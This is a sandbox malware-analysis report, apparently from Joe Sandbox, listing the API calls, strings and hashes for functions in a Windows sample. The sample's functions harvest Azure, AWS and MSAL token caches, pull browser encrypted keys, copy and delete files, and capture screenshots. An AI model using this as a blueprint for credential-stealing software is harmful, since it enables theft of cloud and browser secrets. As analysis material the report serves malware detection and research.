Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Create_memset$FileObjectProcessSingleSystemTimeWait
String ID: .exe$EMPTY$df523263f44cc8d55414a260a0197e4a
API String ID: 141474312-3968930026
Opcode ID: e5edde451932176a49fb4b01478f02cdd7c0ce00a5848d7b91c359689fa36de9
Instruction ID: 1c256f900ed2d6b23e0f8fa4d4d7de9671cd909dd74d0323b6cb1a43333e22b8
Opcode Fuzzy Hash: e5edde451932176a49fb4b01478f02cdd7c0ce00a5848d7b91c359689fa36de9
Instruction Fuzzy Hash: D191C7B2D401299BDF12BB64DC86ADD77B8AB28304F4144E5F609B7162CB70AF868F54

Function 001964FF Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00196524

Part of subcall function 00191D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00191DD2

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00196543
lstrcatA.KERNEL32(?,\.azure\), ref: 00196560

Part of subcall function 00196013: wsprintfA.USER32 ref: 0019605A
Part of subcall function 00196013: FindFirstFileA.KERNEL32(?,?), ref: 00196071
Part of subcall function 00196013: StrCmpCA.SHLWAPI(?,001B6ABC), ref: 00196092
Part of subcall function 00196013: StrCmpCA.SHLWAPI(?,001B6AC0), ref: 001960AC
Part of subcall function 00196013: wsprintfA.USER32 ref: 001960D3
Part of subcall function 00196013: StrCmpCA.SHLWAPI(?,001B6647), ref: 001960E7
Part of subcall function 00196013: wsprintfA.USER32 ref: 00196104
Part of subcall function 00196013: PathMatchSpecA.SHLWAPI(?,?), ref: 00196131
Part of subcall function 00196013: lstrcatA.KERNEL32(?), ref: 00196167
Part of subcall function 00196013: lstrcatA.KERNEL32(?,001B6AD8), ref: 00196179
Part of subcall function 00196013: lstrcatA.KERNEL32(?,?), ref: 0019618C
Part of subcall function 00196013: lstrcatA.KERNEL32(?,001B6ADC), ref: 0019619E
Part of subcall function 00196013: lstrcatA.KERNEL32(?,?), ref: 001961B2

_memset.LIBCMT ref: 00196598
lstrcatA.KERNEL32(?,00000000), ref: 001965BA
lstrcatA.KERNEL32(?,\.aws\), ref: 001965D7

Part of subcall function 00196013: wsprintfA.USER32 ref: 0019611B
Part of subcall function 00196013: CopyFileA.KERNEL32(?,?,00000001), ref: 0019626B
Part of subcall function 00196013: DeleteFileA.KERNEL32(?), ref: 001962DF
Part of subcall function 00196013: FindNextFileA.KERNEL32(?,?), ref: 00196341
Part of subcall function 00196013: FindClose.KERNEL32(?), ref: 00196355

_memset.LIBCMT ref: 0019660C
lstrcatA.KERNEL32(?,00000000), ref: 0019662E
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 0019664B
_memset.LIBCMT ref: 00196680

Strings

Azure\.aws, xrefs: 001965E7
\.azure\, xrefs: 00196554
Azure\.IdentityService, xrefs: 0019665B
*.*, xrefs: 00196578
*.*, xrefs: 001965EC
msal.cache, xrefs: 00196660
\.aws\, xrefs: 001965CB
Azure\.azure, xrefs: 00196573
\.IdentityService\, xrefs: 0019663F

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: 02edde5f4f8f23288904aab492e4ac4f81b8faa2f990cfb3c255107b76662ae0
Instruction ID: b80d5aa3bccbf93cd62b3a692be24150455f6d21041634c96aede6044c6c164b
Opcode Fuzzy Hash: 02edde5f4f8f23288904aab492e4ac4f81b8faa2f990cfb3c255107b76662ae0
Instruction Fuzzy Hash: A9418176E4021CAACB25FB64EC87FED777CAB29300F040496F615A7081DBB4AB858F51

Function 0018ABBA Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

CopyFileA.KERNEL32(?,?,00000001), ref: 0018AC5F
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0018AD69
HeapAlloc.KERNEL32(00000000), ref: 0018AD70
StrCmpCA.SHLWAPI(?,001B73D4,00000000), ref: 0018AE21
StrCmpCA.SHLWAPI(?,001B73D8), ref: 0018AE49
lstrcatA.KERNEL32(00000000,?), ref: 0018AE6D
lstrcatA.KERNEL32(00000000,001B73DC), ref: 0018AE79
lstrcatA.KERNEL32(00000000,?), ref: 0018AE83
lstrcatA.KERNEL32(00000000,001B73E0), ref: 0018AE8F
lstrcatA.KERNEL32(00000000,?), ref: 0018AE99
lstrcatA.KERNEL32(00000000,001B73E4), ref: 0018AEA5
lstrcatA.KERNEL32(00000000,?), ref: 0018AEAF
lstrcatA.KERNEL32(00000000,001B73E8), ref: 0018AEBB
lstrcatA.KERNEL32(00000000,?), ref: 0018AEC5
lstrcatA.KERNEL32(00000000,001B73EC), ref: 0018AED1
lstrcatA.KERNEL32(00000000,?), ref: 0018AEDB
lstrcatA.KERNEL32(00000000,001B73F0), ref: 0018AEE7
lstrcatA.KERNEL32(00000000,?), ref: 0018AEF1
lstrcatA.KERNEL32(00000000,001B73F4), ref: 0018AEFD
lstrlenA.KERNEL32(00000000), ref: 0018AF4F
lstrlenA.KERNEL32(?), ref: 0018AF6A
DeleteFileA.KERNEL32(?), ref: 0018AFAD

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTime
String ID:
API String ID: 1139693110-0
Opcode ID: 8c3df6188e3ae79fcf29a52077f0424a8d6b92e48bc369d397defca204e24785
Instruction ID: 180ad22d2539a9ed29709e891525bb3ae69665e8e850a97e437088300547f592
Opcode Fuzzy Hash: 8c3df6188e3ae79fcf29a52077f0424a8d6b92e48bc369d397defca204e24785
Instruction Fuzzy Hash: 05C1D432904119AFDF02BBA4EC868EE7BB9FF28704F114066F601B7062DB716E469F51

Function 0019B8B5 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,74DE83C0,00000000,0019C5A0,?), ref: 0019B8BA
StrCmpCA.SHLWAPI(74DE83C0,001B613C), ref: 0019B8E8
StrCmpCA.SHLWAPI(74DE83C0,.zip), ref: 0019B8F8
StrCmpCA.SHLWAPI(74DE83C0,.zoo), ref: 0019B904
StrCmpCA.SHLWAPI(74DE83C0,.arc), ref: 0019B910
StrCmpCA.SHLWAPI(74DE83C0,.lzh), ref: 0019B91C
StrCmpCA.SHLWAPI(74DE83C0,.arj), ref: 0019B928
StrCmpCA.SHLWAPI(74DE83C0,.gz), ref: 0019B934
StrCmpCA.SHLWAPI(74DE83C0,.tgz), ref: 0019B940

Strings

.arc, xrefs: 0019B90A
.lzh, xrefs: 0019B916
.zoo, xrefs: 0019B8FE
.zip, xrefs: 0019B8F2
.tgz, xrefs: 0019B93A
.gz, xrefs: 0019B92E
.arj, xrefs: 0019B922

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 0e47a320c9bb73b29fde8727bb9b229812c3ba7e5fe20db1d9f7a6e85077a0af
Instruction ID: 2b353a67950a330f1b5749c8a14f6c6124e69ec45a1249b69ad17e38b018e681
Opcode Fuzzy Hash: 0e47a320c9bb73b29fde8727bb9b229812c3ba7e5fe20db1d9f7a6e85077a0af
Instruction Fuzzy Hash: BF014D20B89366759F722535AFC6DBF1E5D4EABFC17050025FC00E1488DB5C995369B1

Function 001935E8 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0019362A
StrCmpCA.SHLWAPI(?,true), ref: 001936EC

Part of subcall function 0019051E: lstrlenA.KERNEL32(?,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190524
Part of subcall function 0019051E: lstrcpyA.KERNEL32(00000000,00000000,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190556

lstrcpyA.KERNEL32(?,?), ref: 001937AE
lstrcpyA.KERNEL32(?,00000000), ref: 001937DF
lstrcpyA.KERNEL32(?,00000000), ref: 0019381B
lstrcpyA.KERNEL32(?,00000000), ref: 00193857
lstrcpyA.KERNEL32(?,00000000), ref: 00193893
lstrcpyA.KERNEL32(?,00000000), ref: 001938CF
lstrcpyA.KERNEL32(?,00000000), ref: 0019390B
strtok_s.MSVCRT ref: 001939CF

Strings

false, xrefs: 00193705
true, xrefs: 001936E6

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: 8b364284531451f0af76ee60d627368f2e476a0d059e8bae760f515317564998
Instruction ID: fa82cd0710cfc708a1a539ccf7dc6f3af431461d3e6ee1a72fb51058193bf912
Opcode Fuzzy Hash: 8b364284531451f0af76ee60d627368f2e476a0d059e8bae760f515317564998
Instruction Fuzzy Hash: D7B12875901229ABCF65EB54DC89AD977B9FF28304F4001E6E45AA7261EB70AFC4CF40

Function 00193A02 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,00197786), ref: 00193A17
ExitProcess.KERNEL32 ref: 00193A22
strtok_s.MSVCRT ref: 00193A33

Strings

block, xrefs: 00193A0B

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 2936ceae808e30828c9c1a868894474149af25ecca641710117ca0de30ec9587
Instruction ID: deb0ccb2ceb4547041c701e0fcbff1e679b8da44d69bdfc17a955957cc4459d9
Opcode Fuzzy Hash: 2936ceae808e30828c9c1a868894474149af25ecca641710117ca0de30ec9587
Instruction Fuzzy Hash: B0416BB0A40306FBDF416F74EC89EAA7BACFB24B5AB104026F413D6092E734D650AB55

Function 0019584D Relevance: 18.2, APIs: 12, Instructions: 189stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00195885
_memset.LIBCMT ref: 00195896

Part of subcall function 00191D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00191DD2

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 001958C1
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 001958DF
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 001958F3
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00195906

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00191D67: GetFileAttributesA.KERNEL32(?,?,?,0018DA54,?,?,?), ref: 00191D6E

Part of subcall function 0018819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0018CC65,?,?), ref: 001881E5

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

Part of subcall function 001921BC: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,0019599C,?), ref: 001921C7

StrStrA.SHLWAPI(00000000), ref: 001959AA
GlobalFree.KERNEL32(?), ref: 00195ACE

Part of subcall function 00188048: CryptStringToBinaryA.CRYPT32(00186724,00000000,00000001,00000000,?,00000000,00000000), ref: 00188060
Part of subcall function 00188048: LocalAlloc.KERNEL32(00000040,?,?,?,00186724,?), ref: 0018806E
Part of subcall function 00188048: CryptStringToBinaryA.CRYPT32(00186724,00000000,00000001,00000000,?,00000000,00000000), ref: 00188084
Part of subcall function 00188048: LocalFree.KERNEL32(?,?,?,00186724,?), ref: 00188093

lstrcatA.KERNEL32(?,00000000), ref: 00195A5A
StrCmpCA.SHLWAPI(?,001B6645), ref: 00195A77
lstrcatA.KERNEL32(?,?), ref: 00195A96
lstrcatA.KERNEL32(?,001B6A94), ref: 00195AA7

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 4109952398-0
Opcode ID: a73e5116ffaf301163343ff59a1515bef51ff6a3a05b0e5c5665d2bf3729e17f
Instruction ID: 280f18b78a883614d2d03ff19e11c6113b757b5af028c487e8b631b692c0e2a4
Opcode Fuzzy Hash: a73e5116ffaf301163343ff59a1515bef51ff6a3a05b0e5c5665d2bf3729e17f
Instruction Fuzzy Hash: 76715EB5C4012C9FDF21EF24DC85BD977BAAB98310F0405E6E508A3250EB329BA58F51

Function 00191F2A Relevance: 18.1, APIs: 12, Instructions: 147COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00191F6B
GetDesktopWindow.USER32 ref: 00191F79
GetWindowRect.USER32(00000000,?), ref: 00191F86
SelectObject.GDI32(?,00000000), ref: 00191FB3
GetHGlobalFromStream.COMBASE(?,?), ref: 0019201E
